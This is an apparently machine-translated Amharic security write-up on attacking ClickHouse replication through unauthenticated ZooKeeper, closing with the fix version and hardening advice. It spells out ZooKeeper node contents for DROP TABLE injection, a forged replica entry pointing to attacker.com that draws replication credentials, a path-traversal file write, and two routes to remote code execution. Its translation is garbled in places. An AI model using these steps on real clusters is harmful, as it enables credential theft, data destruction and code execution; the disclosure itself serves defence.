የእንስሳት ማቆያ ቤቶችን ለምን መዝጋት ያስፈልግዎታል?

የእንስሳት ማቆያ ቤቶችን ለምን መዝጋት ያስፈልግዎታል?

ይህ መጣጥፍ በ ClickHouse ማባዛት ፕሮቶኮል ውስጥ በጣም የተለየ የተጋላጭነት ታሪክን ይነግረናል፣ እና የጥቃቱ ገጽ እንዴት ሊሰፋ እንደሚችልም ያሳያል።

ClickHouse ብዙ መጠን ያላቸውን መረጃዎች የሚያከማችበት ዳታቤዝ ሲሆን ብዙ ጊዜ ከአንድ በላይ ቅጂዎችን ይጠቀማል። በ ClickHouse ውስጥ መሰብሰብ እና ማባዛት ከላይ ተሠርተዋል። Apache ZooKeeper (ZK) እና የመጻፍ መብቶችን ይጠይቃሉ.

ነባሪው የZK ጭነት ማረጋገጫ አያስፈልገውም፣ስለዚህ በሺዎች የሚቆጠሩ የZK አገልጋዮች Kafka, Hadoop, ClickHouseን ለማዋቀር ጥቅም ላይ ይውላሉ በይፋ ይገኛሉ።

የጥቃት ቦታዎን ለመቀነስ፣ ZooKeeperን ሲጭኑ ሁል ጊዜ ማረጋገጫ እና ፍቃድ ማዋቀር አለብዎት

በእርግጥ በ0day ላይ የተመሰረቱ የጃቫ መለያዎች አሉ፣ነገር ግን አንድ አጥቂ ማንበብ እና መፃፍ እንደሚችል አስቡት ZooKeeper፣ ለ ClickHouse ማባዛት።

በክላስተር ሁነታ ሲዋቀር ClickHouse የተከፋፈሉ መጠይቆችን ይደግፋል ዲ.ኤል., በ ZK በኩል ማለፍ - ለእነሱ አንጓዎች በሉሁ ውስጥ ተፈጥረዋል /clickhouse/task_queue/ddl.

ለምሳሌ, መስቀለኛ መንገድ ትፈጥራለህ /clickhouse/task_queue/ddl/query-0001 ከይዘት ጋር፡-

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

እና ከዚያ በኋላ, የሙከራ ጠረጴዛው በክላስተር አገልጋዮች host1 እና host2 ላይ ይሰረዛል. DDL የCREATE/ALTER/DROP መጠይቆችን ማሄድን ይደግፋል።

አስፈሪ ይመስላል? ግን አጥቂ የአገልጋይ አድራሻዎችን ከየት ማግኘት ይችላል?

ClickHouse ማባዛት። በዜድኬ ውስጥ ጠረጴዛ ሲፈጠር ሜታዳታን ከቅጅቶች ጋር የመለዋወጥ ኃላፊነት ያለበት አገልጋይ ይገለጻል ። ለምሳሌ, ጥያቄን በሚፈጽምበት ጊዜ (ZK መዋቀር አለበት, chXX - የቅጂው ስም ፣ foobar - የሠንጠረዥ ስም;

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

አንጓዎች ይፈጠራሉ አምዶች и ዲበ ውሂብ.

ይዘት /clickhouse/ጠረጴዛዎች/01/foobar/replicas/chXX/አስተናጋጆች:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ከዚህ ስብስብ ውስጥ ውሂብ ማዋሃድ ይቻላል? አዎ፣ የማባዛት ወደብ ከሆነ (TCP/9009) በአገልጋይ ላይ chXX-address ፋየርዎል አይዘጋም እና ለመድገም ማረጋገጫ አይዋቀርም። ማረጋገጫን እንዴት ማለፍ እንደሚቻል?

አጥቂ ይዘቱን በቀላሉ በመቅዳት በZK ውስጥ አዲስ ቅጂ መፍጠር ይችላል። /clickhouse/tables/01-01/foobar/replicas/chXX እና ትርጉሙን መቀየር host.

ይዘት /ክሊክ ሃውስ/ጠረጴዛዎች/01-01/foobar/replicas/ አጥቂ/አስተናጋጅ:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ከዚያም ሌሎች ቅጂዎች በአጥቂው አገልጋይ ላይ መውሰድ ያለባቸው አዲስ ብሎክ ውሂብ እንዳለ መንገር አለቦት - በZK ውስጥ መስቀለኛ መንገድ ተፈጥሯል። /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX በብቸኝነት የሚያድግ ቆጣሪ፣ በክስተቱ ምዝግብ ማስታወሻ ውስጥ ካለፈው የበለጠ መሆን አለበት)

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

የት ምንጭ_ግልባጭ - በቀድሞው ደረጃ የተፈጠረው የአጥቂው ቅጂ ስም ፣ የማገድ_መታወቂያ - የውሂብ እገዳ መለያ; ያግኙ - "አግድ አግኝ" ትዕዛዝ (እና ለሌሎች ስራዎች ትዕዛዞች እዚህ አሉ።).

በመቀጠል እያንዳንዱ ቅጂ በምዝግብ ማስታወሻው ውስጥ አዲስ ክስተት ያነባል እና በአጥቂው ቁጥጥር ስር ወዳለው አገልጋይ ሄዶ የውሂብ ብሎክ ለመቀበል (የማባዛ ፕሮቶኮሉ ሁለትዮሽ ነው፣ በኤችቲቲፒ ላይ የሚሰራ)። አገልጋይ attacker.com ጥያቄዎችን ይቀበላል፡-

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

XXX ለመድገም የማረጋገጫ ውሂብ በሆነበት። በአንዳንድ አጋጣሚዎች ይህ በዋናው የ ClickHouse ፕሮቶኮል እና በኤችቲቲፒ ፕሮቶኮል በኩል ወደ ዳታቤዝ መዳረሻ ያለው መለያ ሊሆን ይችላል። እንደተመለከቱት የጥቃቱ ወለል በጣም ትልቅ ይሆናል ምክንያቱም ለመድገም የሚያገለግል ZooKeeper ማረጋገጫ ሳይዋቀር ቀርቷል።

የውሂብ ብሎክን ከአንድ ቅጂ የማግኘት ተግባርን እንይ ፣ ሁሉም ቅጂዎች በትክክለኛው ቁጥጥር ስር እንደሆኑ እና በመካከላቸው መተማመን እንዳለ በሙሉ እምነት ተጽፏል።

የእንስሳት ማቆያ ቤቶችን ለምን መዝጋት ያስፈልግዎታል?
የማባዛት ሂደት ኮድ

ተግባሩ የፋይሎችን ዝርዝር, ከዚያም ስማቸውን, መጠኖቻቸውን, ይዘቶቻቸውን ያነባል, ከዚያም ወደ የፋይል ስርዓቱ ይጽፋል. በፋይል ስርዓቱ ውስጥ ውሂብ እንዴት እንደሚከማች በተናጠል መግለጽ ተገቢ ነው።

ውስጥ በርካታ ንዑስ ማውጫዎች አሉ። /var/lib/clickhouse (ነባሪው የማከማቻ ማውጫ ከውቅረት ፋይሉ)፡

ባንዲራዎች - ለመቅዳት ማውጫ ባንዲራዎች, የውሂብ መጥፋት በኋላ ማግኛ ውስጥ ጥቅም ላይ;
tmp - ጊዜያዊ ፋይሎችን ለማከማቸት ማውጫ;
የተጠቃሚ_ፋይሎች - በጥያቄዎች ውስጥ ከፋይሎች ጋር የሚሰሩ ስራዎች ለዚህ ማውጫ (INTO OUTFILE እና ሌሎች) የተገደቡ ናቸው ።
ዲበ ውሂብ - sql ፋይሎች ከሠንጠረዥ መግለጫዎች ጋር;
ቀድሞ የተቀነባበሩ_ውቅሮች - የተቀናጁ የውቅር ፋይሎች ከ /etc/clickhouse-server;
መረጃ - ትክክለኛው ማውጫ ከውሂቡ ራሱ ጋር ፣ በዚህ ሁኔታ ለእያንዳንዱ የውሂብ ጎታ የተለየ ንዑስ ማውጫ በቀላሉ እዚህ ተፈጠረ (ለምሳሌ ፣ /var/lib/clickhouse/data/default).

ለእያንዳንዱ ጠረጴዛ በመረጃ ቋት ማውጫ ውስጥ ንዑስ ማውጫ ይፈጠራል። እያንዳንዱ ዓምድ የተለየ ፋይል ነው የሞተር ቅርጸት. ለምሳሌ ለጠረጴዛ foobarበአጥቂ የተፈጠሩ የሚከተሉት ፋይሎች ይፈጠራሉ፡

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

ቅጂው የውሂብ ብሎክን በሚሰራበት ጊዜ ተመሳሳይ ስሞች ያላቸውን ፋይሎች እንደሚቀበል ይጠብቃል እና በምንም መልኩ አያረጋግጥም።

በትኩረት የሚከታተለው አንባቢ በአንድ ተግባር ውስጥ ስላለው ደህንነቱ ያልተጠበቀ የፋይል_ስም ውህደት አስቀድሞ ሰምቶ ሊሆን ይችላል። WriteBufferFromFile. አዎ፣ ይህ አጥቂ በ FS ላይ በማንኛውም ፋይል ላይ የዘፈቀደ ይዘት ከተጠቃሚ መብቶች ጋር እንዲጽፍ ያስችለዋል። clickhouse. ይህንን ለማድረግ በአጥቂው የሚቆጣጠረው ቅጂ ለጥያቄው የሚከተለውን ምላሽ መመለስ አለበት (ለመረዳት ቀላል የመስመር ክፍተቶች ተጨምረዋል)

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

እና ከግንኙነት በኋላ ../../../../../../../../../tmp/pwned ፋይሉ ይጻፋል /tmp/pwned ከይዘት ጋር hellofromzookeeper.

የፋይል መፃፍ ችሎታን ወደ የርቀት ኮድ አፈፃፀም (RCE) ለመቀየር ብዙ አማራጮች አሉ።

ውጫዊ መዝገበ-ቃላት በ RCE

በአሮጌ ስሪቶች ውስጥ የ ClickHouse ቅንብሮች ያለው ማውጫ በተጠቃሚ መብቶች ተከማችቷል። ጠቅታ ቤት ነባሪ. የቅንጅቶች ፋይሎች አገልግሎቱ በሚነሳበት ጊዜ የሚያነባቸው እና ከዚያም የሚሸጎጡ የኤክስኤምኤል ፋይሎች ናቸው። /var/lib/clickhouse/preprocessed_configs. ለውጦች ሲከሰቱ, እንደገና ይነበባሉ. መዳረሻ ካለህ /etc/clickhouse-server አጥቂው የራሱን መፍጠር ይችላል። ውጫዊ መዝገበ ቃላት ሊተገበር የሚችል ዓይነት እና ከዚያ የዘፈቀደ ኮድ ያስፈጽሙ። አሁን ያሉት የ ClickHouse ስሪቶች በነባሪነት መብቶችን አይሰጡም ፣ ግን አገልጋዩ ቀስ በቀስ ከተዘመነ ፣ እንደዚህ ያሉ መብቶች ሊቆዩ ይችላሉ። የ ClickHouse ክላስተርን እየደገፉ ከሆነ የቅንብሮች ማውጫውን መብቶች ያረጋግጡ የተጠቃሚው መሆን አለበት root.

ODBC እስከ አርሲኢ

ጥቅል ሲጭኑ ተጠቃሚ ይፈጠራል። clickhouse፣ ግን የቤት ማውጫው አልተፈጠረም። /nonexistent. ነገር ግን፣ ውጫዊ መዝገበ ቃላትን ሲጠቀሙ፣ ወይም በሌሎች ምክንያቶች፣ አስተዳዳሪዎች ማውጫ ይፈጥራሉ /nonexistent እና ተጠቃሚውን ይስጡ clickhouse ወደ እሱ ለመጻፍ መዳረሻ (SSZB! በግምት ተርጓሚ).

ClickHouse ይደግፋል ODBC እና ከሌሎች የውሂብ ጎታዎች ጋር መገናኘት ይችላል. በ ODBC ውስጥ ወደ የውሂብ ጎታ ነጂ ቤተ-መጽሐፍት (.so) የሚወስደውን መንገድ መግለጽ ይችላሉ. የቆዩ የ ClickHouse ስሪቶች በጥያቄ ተቆጣጣሪው ውስጥ በቀጥታ እንዲያደርጉ ፈቅደዋል፣ አሁን ግን ይበልጥ ጥብቅ የሆነ የግንኙነቱ ሕብረቁምፊ ፍተሻ ታክሏል። odbc-bridge, ስለዚህ ከአሁን በኋላ የመንጃ መንገዱን ከጥያቄው መለየት አይቻልም. ነገር ግን አንድ አጥቂ ከላይ የተገለጸውን ተጋላጭነት ተጠቅሞ ለቤት ማውጫው መጻፍ ይችላል?

ፋይል እንፍጠር ~/.odbc.ini እንደዚህ አይነት ይዘት ያለው፡-

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

ከዚያም ጅምር ላይ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ቤተ መፃህፍቱ ይጫናል test.so እና RCE ተቀብለዋል (አመሰግናለሁ ቡግሎክ ለጫፍ).

እነዚህ እና ሌሎች ተጋላጭነቶች በ ClickHouse ስሪት 19.14.3 ውስጥ ተስተካክለዋል። የእርስዎን ClickHouse እና ZooKeepers ይንከባከቡ!

ምንጭ: hab.com

አስተያየት ያክሉ